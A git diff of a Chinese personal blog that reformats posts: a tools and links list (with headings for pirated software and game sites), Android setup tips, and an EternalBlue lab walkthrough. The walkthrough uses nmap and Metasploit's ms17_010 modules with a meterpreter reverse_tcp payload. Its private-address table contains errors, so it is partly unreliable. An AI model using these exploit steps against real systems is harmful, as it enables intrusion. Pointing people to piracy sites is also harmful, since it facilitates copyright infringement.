* [Git](https://git-scm.com/):分布式版本控制系统
|
- [Git](https://git-scm.com/):分布式版本控制系统
|
||||||
* [Zsh](https://www.zsh.org/):是一款功能强大、灵活可定制的shell
|
- [Zsh](https://www.zsh.org/):是一款功能强大、灵活可定制的 shell
|
||||||
* [哪吒面板](https://nezha.wiki/):服务器监控与运维工具
|
- [哪吒面板](https://nezha.wiki/):服务器监控与运维工具
|
||||||
* [screenfetch](https://github.com/KittyKatt/screenFetch):屏幕截图
|
- [screenfetch](https://github.com/KittyKatt/screenFetch):屏幕截图
|
||||||
* [X-CMD](https://cn.x-cmd.com/):命令增强和扩展
|
- [X-CMD](https://cn.x-cmd.com/):命令增强和扩展
|
||||||
* 镜像仓库:
|
- 镜像仓库:
|
||||||
|
|
||||||
* [中科大开源软件镜像站](https://mirrors.ustc.edu.cn/)
|
- [中科大开源软件镜像站](https://mirrors.ustc.edu.cn/)
|
||||||
* [阿里巴巴开源镜像站](https://developer.aliyun.com/mirror/)
|
- [阿里巴巴开源镜像站](https://developer.aliyun.com/mirror/)
|
||||||
* [网易开源镜像站](https://mirrors.163.com/)
|
- [网易开源镜像站](https://mirrors.163.com/)
|
||||||
* [腾讯软件源](https://mirrors.cloud.tencent.com/)
|
- [腾讯软件源](https://mirrors.cloud.tencent.com/)
|
||||||
* [华为开源镜像站](https://mirrors.huaweicloud.com/home)
|
- [华为开源镜像站](https://mirrors.huaweicloud.com/home)
|
||||||
* [移动云开源镜像站](https://mirrors.cmecloud.cn/)
|
- [移动云开源镜像站](https://mirrors.cmecloud.cn/)
|
||||||
* [清华大学开源软件镜像站](https://mirrors.tuna.tsinghua.edu.cn/)
|
- [清华大学开源软件镜像站](https://mirrors.tuna.tsinghua.edu.cn/)
|
||||||
|
|
||||||
### 可被托管的应用
|
### 可被托管的应用
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
* [CF-Workers-docker.io](https://github.com/cmliu/CF-Workers-docker.io):使用CF-workersDocker仓库镜像代理工具
|
- [CF-Workers-docker.io](https://github.com/cmliu/CF-Workers-docker.io):使用 CF-workersDocker 仓库镜像代理工具
|
||||||
* [Cloudflare Proxy EX](https://github.com/1234567yang/cf-proxy-ex):使用CF-workers搭建代理
|
- [Cloudflare Proxy EX](https://github.com/1234567yang/cf-proxy-ex):使用 CF-workers 搭建代理
|
||||||
* [Vercel 部署 Hugo 站点](https://vercel.com/guides/deploying-hugo-with-vercel)
|
- [Vercel 部署 Hugo 站点](https://vercel.com/guides/deploying-hugo-with-vercel)
|
||||||
|
|
||||||
### 网站
|
### 网站
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
* 盗版软件:
|
- 盗版软件:
|
||||||
|
|
||||||
* [CyberMania](https://www.cybermania.ws/)
|
- [CyberMania](https://www.cybermania.ws/)
|
||||||
* [果核剥壳](https://www.ghxi.com/)
|
- [果核剥壳](https://www.ghxi.com/)
|
||||||
* 单价游戏:
|
|
||||||
|
|
||||||
* [土豆资源库](http://tdtd.chat/index)
|
- 单价游戏:
|
||||||
* [3DMGAME](https://bbs.3dmgame.com/forum.php)
|
|
||||||
|
- [土豆资源库](http://tdtd.chat/index)
|
||||||
|
- [3DMGAME](https://bbs.3dmgame.com/forum.php)
|
||||||
|
@ -13,17 +13,17 @@ tags: []
|
|||||||
|
|
||||||
1. 下载容器脚本并使用
|
1. 下载容器脚本并使用
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
curl -LO https://gitee.com/mo2/linux/raw/2/2.awk
|
curl -LO https://gitee.com/mo2/linux/raw/2/2.awk
|
||||||
awk -f 2.awk
|
awk -f 2.awk
|
||||||
```
|
```
|
||||||
|
|
||||||
2. 安装容器
|
2. 安装容器
|
||||||
- 选择 `1. proot 容器`
|
- 选择 `1. proot 容器`
|
||||||
- 选择 `1. arm64 发行版列表`
|
- 选择 `1. arm64 发行版列表`
|
||||||
- 选择需要的镜像
|
- 选择需要的镜像
|
||||||
- 选择需要的版本
|
- 选择需要的版本
|
||||||
- 如果显示没有权限读写文件,给软件 root 权限,重新开始
|
- 如果显示没有权限读写文件,给软件 root 权限,重新开始
|
||||||
- 请问是否新建 sudo 用户: 否
|
- 请问是否新建 sudo 用户: 否
|
||||||
- 遇到选择默认回车
|
- 遇到选择默认回车
|
||||||
- tmoe-Tools: 不需要图形化界面直接选 `0` 退出
|
- tmoe-Tools: 不需要图形化界面直接选 `0` 退出
|
||||||
|
@ -13,14 +13,14 @@ tags: []
|
|||||||
1. 打开 MacroDroid-Pro,给予 root 权限
|
1. 打开 MacroDroid-Pro,给予 root 权限
|
||||||
2. 点击下面的 **宏** 再点击 **加号**
|
2. 点击下面的 **宏** 再点击 **加号**
|
||||||
3. 配置:
|
3. 配置:
|
||||||
- **输入宏名称**:随便输入一个名字
|
- **输入宏名称**:随便输入一个名字
|
||||||
- **触发器**:点击触发器右上角的加号——设备事件——设备启动
|
- **触发器**:点击触发器右上角的加号——设备事件——设备启动
|
||||||
- **动作**:点击动作右上角的加号——连接——热点开/关——给予修改系统的权限(返回会弹出一个不适合此设备,忽略,点击确定)——选择启动热点,点击确认
|
- **动作**:点击动作右上角的加号——连接——热点开/关——给予修改系统的权限(返回会弹出一个不适合此设备,忽略,点击确定)——选择启动热点,点击确认
|
||||||
4. 点击右下角三条杠带一个加号,就可以实现热点开机启动了
|
4. 点击右下角三条杠带一个加号,就可以实现热点开机启动了
|
||||||
|
|
||||||
## 二、VPN 热点
|
## 二、VPN 热点
|
||||||
|
|
||||||
[VPN 热点](https://lsy22.lanzouj.com/iS9hw0hz5rfa?password=lsy22)
|
[VPN 热点](https://lsy22.lanzouj.com/iS9hw0hz5rfa?password=lsy22)
|
||||||
|
|
||||||
1. 打开 *VPN 热点* 给予 root 权限
|
1. 打开 _VPN 热点_ 给予 root 权限
|
||||||
2. 将 *WLAN 热点* 打开,打开后会多一个 *wlan1*,将 *wlan1* 打开就可以实现 VPN 热点了
|
2. 将 _WLAN 热点_ 打开,打开后会多一个 _wlan1_,将 _wlan1_ 打开就可以实现 VPN 热点了
|
||||||
|
@ -16,7 +16,7 @@ tags: []
|
|||||||
### 切换安卓
|
### 切换安卓
|
||||||
|
|
||||||
1. 进入 fastboot 模式
|
1. 进入 fastboot 模式
|
||||||
2. 用一个 root 的手机连接一加6T
|
2. 用一个 root 的手机连接一加 6T
|
||||||
3. 在 root 手机上打开 [搞机助手](https://lsy22.lanzouq.com/il8M0z5c6oh?w1)
|
3. 在 root 手机上打开 [搞机助手](https://lsy22.lanzouq.com/il8M0z5c6oh?w1)
|
||||||
4. 选择全部 - otg 功能区 - fastboot 功能区切换 - 切换 a/b 分区 - 选择分区 A
|
4. 选择全部 - otg 功能区 - fastboot 功能区切换 - 切换 a/b 分区 - 选择分区 A
|
||||||
5. 重启到 a 分区
|
5. 重启到 a 分区
|
||||||
|
@ -4,35 +4,35 @@ date: 2023-07-12T23:39:00+08:00
|
|||||||
tags: []
|
tags: []
|
||||||
---
|
---
|
||||||
|
|
||||||
## Google服务框架
|
## Google 服务框架
|
||||||
|
|
||||||
下载地址:[`https://www.apkmirror.com/apk/google-inc/google-services-framework/`](https://www.apkmirror.com/apk/google-inc/google-services-framework/)
|
下载地址:[`https://www.apkmirror.com/apk/google-inc/google-services-framework/`](https://www.apkmirror.com/apk/google-inc/google-services-framework/)
|
||||||
|
|
||||||
首先点击上边的网站,到Google服务框架程序的发布地址,然后找到和自己手机的安卓版本相匹配的版本。
|
首先点击上边的网站,到 Google 服务框架程序的发布地址,然后找到和自己手机的安卓版本相匹配的版本。
|
||||||
选择noDPI的版本
|
选择 noDPI 的版本
|
||||||
|
|
||||||
关于ARM版本:
|
关于 ARM 版本:
|
||||||
**一般近两年发布的手机,ARM版本都是ARMv8。如果是老手机,可以先搜一下自己的ARM版本。
|
**一般近两年发布的手机,ARM 版本都是 ARMv8。如果是老手机,可以先搜一下自己的 ARM 版本。
|
||||||
也可以直接下载universal版本,也就是兼容v8和v7的版本。**
|
也可以直接下载 universal 版本,也就是兼容 v8 和 v7 的版本。**
|
||||||
|
|
||||||
## Google Play Service
|
## Google Play Service
|
||||||
|
|
||||||
下载地址:[`https://www.apkmirror.com/apk/google-inc/google-play-services/`](https://www.apkmirror.com/apk/google-inc/google-play-services/)
|
下载地址:[`https://www.apkmirror.com/apk/google-inc/google-play-services/`](https://www.apkmirror.com/apk/google-inc/google-play-services/)
|
||||||
|
|
||||||
首先点击上边的网站,到Google Play Service的发布地址,然后找到和自己手机的安卓版本相匹配的版本。
|
首先点击上边的网站,到 Google Play Service 的发布地址,然后找到和自己手机的安卓版本相匹配的版本。
|
||||||
那么就选择noDPI的版本
|
那么就选择 noDPI 的版本
|
||||||
|
|
||||||
关于ARM版本:
|
关于 ARM 版本:
|
||||||
**一般近两年发布的手机,ARM版本都是ARMv8。如果是老手机,可以先搜一下自己的ARM版本。
|
**一般近两年发布的手机,ARM 版本都是 ARMv8。如果是老手机,可以先搜一下自己的 ARM 版本。
|
||||||
也可以直接下载universal版本,也就是兼容v8和v7的版本。**
|
也可以直接下载 universal 版本,也就是兼容 v8 和 v7 的版本。**
|
||||||
|
|
||||||
## Google Play Store
|
## Google Play Store
|
||||||
|
|
||||||
下载地址:[`https://www.apkmirror.com/apk/google-inc/google-play-store/`](https://www.apkmirror.com/apk/google-inc/google-play-store/)
|
下载地址:[`https://www.apkmirror.com/apk/google-inc/google-play-store/`](https://www.apkmirror.com/apk/google-inc/google-play-store/)
|
||||||
|
|
||||||
首先点击上边的网站,到Google Play Store的发布地址,然后找到和自己手机的安卓版本相匹配的版本。
|
首先点击上边的网站,到 Google Play Store 的发布地址,然后找到和自己手机的安卓版本相匹配的版本。
|
||||||
选择noDPI的版本
|
选择 noDPI 的版本
|
||||||
|
|
||||||
关于ARM版本:
|
关于 ARM 版本:
|
||||||
**一般近两年发布的手机,ARM版本都是ARMv8。如果是老手机,可以先搜一下自己的ARM版本。
|
**一般近两年发布的手机,ARM 版本都是 ARMv8。如果是老手机,可以先搜一下自己的 ARM 版本。
|
||||||
也可以直接下载universal版本,也就是兼容v8和v7的版本。**
|
也可以直接下载 universal 版本,也就是兼容 v8 和 v7 的版本。**
|
||||||
|
@ -8,7 +8,7 @@ tags: []
|
|||||||
|
|
||||||
#### 1. 漏洞描述
|
#### 1. 漏洞描述
|
||||||
|
|
||||||
Eternalblue通过TCP端口445和139来利用SMBv1和NBT中的远程代码执行漏洞,恶意代码会扫描开放445文件共享端口的Windows机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。
|
Eternalblue 通过 TCP 端口 445 和 139 来利用 SMBv1 和 NBT 中的远程代码执行漏洞,恶意代码会扫描开放 445 文件共享端口的 Windows 机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。
|
||||||
|
|
||||||
#### 2.漏洞影响
|
#### 2.漏洞影响
|
||||||
|
|
||||||
@ -16,88 +16,90 @@ Eternalblue通过TCP端口445和139来利用SMBv1和NBT中的远程代码执行
|
|||||||
|
|
||||||
### 二. 复现环境
|
### 二. 复现环境
|
||||||
|
|
||||||
* 虚拟环境搭建:`VMware Workstation 17 pro`
|
- 虚拟环境搭建:`VMware Workstation 17 pro`
|
||||||
|
|
||||||
* 网络模式:`NAT`
|
- 网络模式:`NAT`
|
||||||
|
|
||||||
* 攻击机:`kali Linux WSL`
|
- 攻击机:`kali Linux WSL`
|
||||||
* 攻击机IP:`192.168.97.173`
|
- 攻击机 IP:`192.168.97.173`
|
||||||
* 攻击工具:`nmap` `metasploit(MSF)`
|
- 攻击工具:`nmap` `metasploit(MSF)`
|
||||||
|
|
||||||
* 靶机:`cn_windows_7_ultimate_with_sp1_x64_dvd_u_677408`(**前提win7关闭防火墙**)
|
- 靶机:`cn_windows_7_ultimate_with_sp1_x64_dvd_u_677408`(**前提 win7 关闭防火墙**)
|
||||||
* 靶机IP:`192.168.97.128`
|
- 靶机 IP:`192.168.97.128`
|
||||||
|
|
||||||
### 三. 启动 MSF
|
### 三. 启动 MSF
|
||||||
|
|
||||||
1. 安装MSF
|
1. 安装 MSF
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \chmod 755 msfinstall && \./msfinstall
|
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \chmod 755 msfinstall && \./msfinstall
|
||||||
```
|
```
|
||||||
|
|
||||||
2. 进入框架
|
2. 进入框架
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
msfconsole
|
msfconsole
|
||||||
```
|
```
|
||||||
|
|
||||||
3. 初始化
|
3. 初始化
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
init
|
init
|
||||||
```
|
```
|
||||||
|
|
||||||
### 四. 寻找主机
|
### 四. 寻找主机
|
||||||
|
|
||||||
* **ipconfig**
|
- **ipconfig**
|
||||||
|
|
||||||
使用`ipconfig`分别查看win7和kali中的ip地址
|
使用`ipconfig`分别查看 win7 和 kali 中的 ip 地址
|
||||||
* **nmap**
|
|
||||||
|
- **nmap**
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
nmap -T5 -sP 192.168.97.0/24
|
nmap -T5 -sP 192.168.97.0/24
|
||||||
```
|
```
|
||||||
|
|
||||||
* **`-T5`**:使用速度模板**`T5`**,表示激进的扫描速度。
|
- **`-T5`**:使用速度模板**`T5`**,表示激进的扫描速度。
|
||||||
* **`-sP`**:执行 Ping 连接扫描。
|
- **`-sP`**:执行 Ping 连接扫描。
|
||||||
* **`192.168.97.0/24`**:扫描指定的 IP 地址范围。
|
- **`192.168.97.0/24`**:扫描指定的 IP 地址范围。
|
||||||
|
|
||||||
| IP地址 | 私有ip范围 | 子网掩码 | CIDR |
|
| IP 地址 | 私有 ip 范围 | 子网掩码 | CIDR |
|
||||||
| --------- | :----------------------------- | :-------------- | :--------------- |
|
| -------- | :----------------------------- | :------------ | :------------- |
|
||||||
| A类地址 | 10.0.0.0~10.255.255.255 | 255.0.0.0 | 10.0.0.0/8 |
|
| A 类地址 | 10.0.0.0 ~ 10.255.255.255 | 255.0.0.0 | 10.0.0.0/8 |
|
||||||
| B类地址 | 172.16.0.0~173.31.255.255 | 255.255.0.0 | 172.16.0.0/16 |
|
| B 类地址 | 172.16.0.0 ~ 173.31.255.255 | 255.255.0.0 | 172.16.0.0/16 |
|
||||||
| C类地址 | 192.168.0.0~192.168.255.255 | 255.255.255.0 | 192.168.0.0/24 |
|
| C 类地址 | 192.168.0.0 ~ 192.168.255.255 | 255.255.255.0 | 192.168.0.0/24 |
|
||||||
|
|
||||||
### 五. 端口扫描
|
### 五. 端口扫描
|
||||||
|
|
||||||
* **nmap**
|
- **nmap**
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
nmap -T5 -sT 192.168.97.128
|
nmap -T5 -sT 192.168.97.128
|
||||||
```
|
```
|
||||||
|
|
||||||
* **`-T5`**:使用速度模板**`T5`**,表示激进的扫描速度。
|
- **`-T5`**:使用速度模板**`T5`**,表示激进的扫描速度。
|
||||||
* **`-sT`**:执行 TCP 连接扫描。
|
- **`-sT`**:执行 TCP 连接扫描。
|
||||||
* **`192.168.97.128`**:扫描指定的 IP
|
- **`192.168.97.128`**:扫描指定的 IP
|
||||||
* **MSF** 端口扫描
|
|
||||||
|
- **MSF** 端口扫描
|
||||||
|
|
||||||
1. 使用模块
|
1. 使用模块
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
use auxiliary/scanner/portscan/tcp
|
use auxiliary/scanner/portscan/tcp
|
||||||
```
|
```
|
||||||
|
|
||||||
2. 设置扫描ip
|
2. 设置扫描 ip
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
set rhosts 192.168.97.128
|
set rhosts 192.168.97.128
|
||||||
```
|
```
|
||||||
|
|
||||||
3. 运行
|
3. 运行
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
run
|
run
|
||||||
```
|
```
|
||||||
|
|
||||||
### 六. 查找永恒之蓝漏洞
|
### 六. 查找永恒之蓝漏洞
|
||||||
|
|
||||||
@ -109,59 +111,62 @@ search ms17_010
|
|||||||
|
|
||||||
1. `exploit/windows/smb/ms17_010_eternalblue`
|
1. `exploit/windows/smb/ms17_010_eternalblue`
|
||||||
|
|
||||||
* 这个模块利用了MS17-010漏洞,通过EternalBlue攻击载荷,远程执行代码。
|
- 这个模块利用了 MS17-010 漏洞,通过 EternalBlue 攻击载荷,远程执行代码。
|
||||||
* EternalBlue利用Windows的Server Message Block(SMB)协议中的漏洞,允许攻击者在目标机器上执行任意代码。
|
- EternalBlue 利用 Windows 的 Server Message Block(SMB)协议中的漏洞,允许攻击者在目标机器上执行任意代码。
|
||||||
* 攻击成功后,通常会在目标机器上生成一个Meterpreter会话,从而允许进一步的渗透测试操作。
|
- 攻击成功后,通常会在目标机器上生成一个 Meterpreter 会话,从而允许进一步的渗透测试操作。
|
||||||
|
|
||||||
2. `exploit/windows/smb/ms17_010_psexec`
|
2. `exploit/windows/smb/ms17_010_psexec`
|
||||||
|
|
||||||
* 这个模块结合MS17-010漏洞和Psexec技术,通过SMB协议在目标系统上执行命令。
|
- 这个模块结合 MS17-010 漏洞和 Psexec 技术,通过 SMB 协议在目标系统上执行命令。
|
||||||
* 利用MS17-010漏洞进行初始攻击,然后使用Psexec进行进一步的远程命令执行。
|
- 利用 MS17-010 漏洞进行初始攻击,然后使用 Psexec 进行进一步的远程命令执行。
|
||||||
* 适用于在利用MS17-010漏洞后希望使用Psexec执行进一步的命令和控制操作时。
|
- 适用于在利用 MS17-010 漏洞后希望使用 Psexec 执行进一步的命令和控制操作时。
|
||||||
|
|
||||||
3. `auxiliary/admin/smb/ms17_010_command`
|
3. `auxiliary/admin/smb/ms17_010_command`
|
||||||
|
|
||||||
* 这个辅助模块用于通过MS17-010漏洞在目标系统上执行指定的命令。
|
- 这个辅助模块用于通过 MS17-010 漏洞在目标系统上执行指定的命令。
|
||||||
* 不会生成一个持久的会话,而是直接执行特定的命令并返回结果。
|
- 不会生成一个持久的会话,而是直接执行特定的命令并返回结果。
|
||||||
* 适用于希望通过MS17-010漏洞在目标系统上执行单个命令的场景。
|
- 适用于希望通过 MS17-010 漏洞在目标系统上执行单个命令的场景。
|
||||||
|
|
||||||
4. `auxiliary/scanner/smb/smb_ms17_010`
|
4. `auxiliary/scanner/smb/smb_ms17_010`
|
||||||
|
|
||||||
* 这个辅助模块用于扫描目标系统是否存在MS17-010漏洞。
|
- 这个辅助模块用于扫描目标系统是否存在 MS17-010 漏洞。
|
||||||
* 不会进行实际的漏洞利用或攻击,而是仅检测目标系统是否易受MS17-010漏洞的影响。
|
- 不会进行实际的漏洞利用或攻击,而是仅检测目标系统是否易受 MS17-010 漏洞的影响。
|
||||||
|
|
||||||
### 七. 漏洞检测
|
### 七. 漏洞检测
|
||||||
|
|
||||||
* 使用探测模块
|
- 使用探测模块
|
||||||
|
|
||||||
1. 使用`Auxiliary`辅助探测模块
|
1. 使用`Auxiliary`辅助探测模块
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
use auxiliary/scanner/smb/smb_ms17_010
|
use auxiliary/scanner/smb/smb_ms17_010
|
||||||
```
|
```
|
||||||
|
|
||||||
或
|
或
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
use 24
|
use 24
|
||||||
```
|
```
|
||||||
|
|
||||||
2. 查看需要配置的参数
|
2. 查看需要配置的参数
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
show options
|
show options
|
||||||
```
|
```
|
||||||
|
|
||||||
3. 设置目标主机地址
|
3. 设置目标主机地址
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
set rhosts 192.168.97.128
|
set rhosts 192.168.97.128
|
||||||
```
|
```
|
||||||
|
|
||||||
4. 运行
|
4. 运行
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
run
|
run
|
||||||
```
|
```
|
||||||
|
|
||||||
* nmap
|
- nmap
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
nmap --script smb-vuln-ms17-010 192.168.97.128
|
nmap --script smb-vuln-ms17-010 192.168.97.128
|
||||||
@ -171,29 +176,29 @@ search ms17_010
|
|||||||
|
|
||||||
1. 加载 ms17-010 攻击模块
|
1. 加载 ms17-010 攻击模块
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
use exploit/windows/smb/ms17_010_eternalblue
|
use exploit/windows/smb/ms17_010_eternalblue
|
||||||
```
|
```
|
||||||
|
|
||||||
2. 设置目标主机地址
|
2. 设置目标主机地址
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
set rhosts 192.168.97.128
|
set rhosts 192.168.97.128
|
||||||
```
|
```
|
||||||
|
|
||||||
3. 设置连接方式为反向连接
|
3. 设置连接方式为反向连接
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
set payload windows/x64/meterpreter/reverse_tcp
|
set payload windows/x64/meterpreter/reverse_tcp
|
||||||
```
|
```
|
||||||
|
|
||||||
4. 运行
|
4. 运行
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
run
|
run
|
||||||
```
|
```
|
||||||
|
|
||||||
### Meterpreter的命令用法
|
### Meterpreter 的命令用法
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
==========================================
|
==========================================
|
||||||
@ -370,33 +375,33 @@ timestomp 操作文件 MACE 属性
|
|||||||
|
|
||||||
#### 基础使用
|
#### 基础使用
|
||||||
|
|
||||||
* 进入框架
|
- 进入框架
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
msfconsole
|
msfconsole
|
||||||
```
|
```
|
||||||
|
|
||||||
* 查找漏洞
|
- 查找漏洞
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
search 漏洞编号
|
search 漏洞编号
|
||||||
```
|
```
|
||||||
|
|
||||||
* 使用模块
|
- 使用模块
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
run
|
run
|
||||||
```
|
```
|
||||||
|
|
||||||
#### Meterpreter工作原理
|
#### Meterpreter 工作原理
|
||||||
|
|
||||||
> 首先目标先要执行初始的溢出漏洞会话连接,可能是 bind正向连接,或者反弹 reverse 连接。反射连接的时候加载dll链接文件,同时后台悄悄处理 dll 文件。其次Meterpreter核心代码初始化,通过 socket套接字建立一个TLS/1.0加密隧道并发送GET请求给Metasploit服务端。Metasploit服务端收到这个GET请求后就配置相应客户端。最后,Meterpreter加载扩展,所有的扩展被加载都通过TLS/1.0进行数据传输。
|
> 首先目标先要执行初始的溢出漏洞会话连接,可能是 bind 正向连接,或者反弹 reverse 连接。反射连接的时候加载 dll 链接文件,同时后台悄悄处理 dll 文件。其次 Meterpreter 核心代码初始化,通过 socket 套接字建立一个 TLS/1.0 加密隧道并发送 GET 请求给 Metasploit 服务端。Metasploit 服务端收到这个 GET 请求后就配置相应客户端。最后,Meterpreter 加载扩展,所有的扩展被加载都通过 TLS/1.0 进行数据传输。
|
||||||
|
|
||||||
#### 漏洞利用(exploit)
|
#### 漏洞利用(exploit)
|
||||||
|
|
||||||
> 漏洞利用exploit,也就是我们常说的exp,他就是对漏洞进行攻击的代码。
|
> 漏洞利用 exploit,也就是我们常说的 exp,他就是对漏洞进行攻击的代码。
|
||||||
|
|
||||||
exploit漏洞利用模块路径(这里面有针对不同平台的exploit):
|
exploit 漏洞利用模块路径(这里面有针对不同平台的 exploit):
|
||||||
|
|
||||||
```php
|
```php
|
||||||
/usr/share/metasploit-framework/modules/exploits
|
/usr/share/metasploit-framework/modules/exploits
|
||||||
@ -404,52 +409,51 @@ exploit漏洞利用模块路径(这里面有针对不同平台的exploit):
|
|||||||
|
|
||||||
#### 攻击载荷(payload)
|
#### 攻击载荷(payload)
|
||||||
|
|
||||||
> Payload:Payload中包含攻击进入目标主机后需要在远程系统中运行的恶意代码,而在Metasploit中Payload是一种特殊模块,它们能够以漏洞利用模块运行,并能够利用目标系统中的安全漏洞实施攻击。简而言之,这种漏洞利用模块可以访问目标系统,而其中的代码定义了Payload在目标系统中的行为。
|
> Payload:Payload 中包含攻击进入目标主机后需要在远程系统中运行的恶意代码,而在 Metasploit 中 Payload 是一种特殊模块,它们能够以漏洞利用模块运行,并能够利用目标系统中的安全漏洞实施攻击。简而言之,这种漏洞利用模块可以访问目标系统,而其中的代码定义了 Payload 在目标系统中的行为。
|
||||||
>
|
>
|
||||||
> Shellcode:Shellcode是payload中的精髓部分,在渗透攻击时作为攻击载荷运行的一组机器指令。Shellcode通常用汇编语言编写。在大多数情况下,目标系统执行了shellcode这一组指令之后,才会提供一个命令行shell。
|
> Shellcode:Shellcode 是 payload 中的精髓部分,在渗透攻击时作为攻击载荷运行的一组机器指令。Shellcode 通常用汇编语言编写。在大多数情况下,目标系统执行了 shellcode 这一组指令之后,才会提供一个命令行 shell。
|
||||||
|
|
||||||
##### payload模块路径
|
##### payload 模块路径
|
||||||
|
|
||||||
```php
|
```php
|
||||||
/usr/share/metasploit-framework/modules/payloads
|
/usr/share/metasploit-framework/modules/payloads
|
||||||
```
|
```
|
||||||
|
|
||||||
##### Metasploit中的 Payload 模块主要有以下三种类型
|
##### Metasploit 中的 Payload 模块主要有以下三种类型
|
||||||
|
|
||||||
* Single:
|
- Single:
|
||||||
|
|
||||||
> 是一种完全独立的Payload,而且使用起来就像运行calc.exe一样简单,例如添加一个系统用户或删除一份文件。由于Single Payload是完全独立的,因此它们有可能会被类似netcat这样的非metasploit处理工具所捕捉到。
|
> 是一种完全独立的 Payload,而且使用起来就像运行 calc.exe 一样简单,例如添加一个系统用户或删除一份文件。由于 Single Payload 是完全独立的,因此它们有可能会被类似 netcat 这样的非 metasploit 处理工具所捕捉到。
|
||||||
>
|
|
||||||
* Stager:
|
|
||||||
|
|
||||||
> 这种Payload 负责建立目标用户与攻击者之间的网络连接,并下载额外的组件或应用程序。一种常见的Stager Payload就是reverse_tcp,它可以让目标系统与攻击者建立一条 tcp 连接,让目标系统主动连接我们的端口(反向连接)。另一种常见的是bind_tcp,它可以让目标系统开启一个tcp监听器,而攻击者随时可以与目标系统进行通信(正向连接)。
|
- Stager:
|
||||||
>
|
|
||||||
* Stage:
|
|
||||||
|
|
||||||
> 是Stager Payload下的一种Payload组件,这种Payload可以提供更加高级的功能,而且没有大小限制。
|
> 这种 Payload 负责建立目标用户与攻击者之间的网络连接,并下载额外的组件或应用程序。一种常见的 Stager Payload 就是 reverse_tcp,它可以让目标系统与攻击者建立一条 tcp 连接,让目标系统主动连接我们的端口(反向连接)。另一种常见的是 bind_tcp,它可以让目标系统开启一个 tcp 监听器,而攻击者随时可以与目标系统进行通信(正向连接)。
|
||||||
>
|
|
||||||
|
|
||||||
##### 几种常见的payload
|
- Stage:
|
||||||
|
|
||||||
* 正向连接
|
> 是 Stager Payload 下的一种 Payload 组件,这种 Payload 可以提供更加高级的功能,而且没有大小限制。
|
||||||
|
|
||||||
|
##### 几种常见的 payload
|
||||||
|
|
||||||
|
- 正向连接
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
windows/meterpreter/bind_tcp
|
windows/meterpreter/bind_tcp
|
||||||
```
|
```
|
||||||
|
|
||||||
* 反向连接
|
- 反向连接
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
windows/meterpreter/reverse_tcp
|
windows/meterpreter/reverse_tcp
|
||||||
```
|
```
|
||||||
|
|
||||||
* 过监听80端口反向连接
|
- 过监听 80 端口反向连接
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
windows/meterpreter/reverse_http
|
windows/meterpreter/reverse_http
|
||||||
```
|
```
|
||||||
|
|
||||||
* 通过监听443端口反向连接
|
- 通过监听 443 端口反向连接
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
windows/meterpreter/reverse_https
|
windows/meterpreter/reverse_https
|
||||||
@ -457,15 +461,14 @@ exploit漏洞利用模块路径(这里面有针对不同平台的exploit):
|
|||||||
|
|
||||||
##### **使用场景**
|
##### **使用场景**
|
||||||
|
|
||||||
* 正向连接使用场景:
|
- 正向连接使用场景:
|
||||||
|
|
||||||
> 我们的攻击机在内网环境,被攻击机是外网环境,由于被攻击机无法主动连接到我们的主机,所以就必须我们主动连接被攻击机了。但是这里经常遇到的问题是,被攻击机上开了防火墙,只允许访问指定的端口,比如被攻击机只对外开放了80端口。那么,我们就只能设置正向连接80端口了,这里很有可能失败,因为80端口上的流量太多了。
|
> 我们的攻击机在内网环境,被攻击机是外网环境,由于被攻击机无法主动连接到我们的主机,所以就必须我们主动连接被攻击机了。但是这里经常遇到的问题是,被攻击机上开了防火墙,只允许访问指定的端口,比如被攻击机只对外开放了 80 端口。那么,我们就只能设置正向连接 80 端口了,这里很有可能失败,因为 80 端口上的流量太多了。
|
||||||
>
|
|
||||||
* 反向连接使用场景:
|
- 反向连接使用场景:
|
||||||
|
|
||||||
> 我们的主机和被攻击机都是在外网或者都是在内网,这样被攻击机就能主动连接到我们的主机了。如果是这样的情况,建议使用反向连接,因为反向连接的话,即使被攻击机开了防火墙也没事,防火墙只是阻止进入被攻击机的流量,而不会阻止被攻击机主动向外连接的流量。
|
> 我们的主机和被攻击机都是在外网或者都是在内网,这样被攻击机就能主动连接到我们的主机了。如果是这样的情况,建议使用反向连接,因为反向连接的话,即使被攻击机开了防火墙也没事,防火墙只是阻止进入被攻击机的流量,而不会阻止被攻击机主动向外连接的流量。
|
||||||
>
|
|
||||||
* 反向连接80和443端口使用场景:
|
|
||||||
|
|
||||||
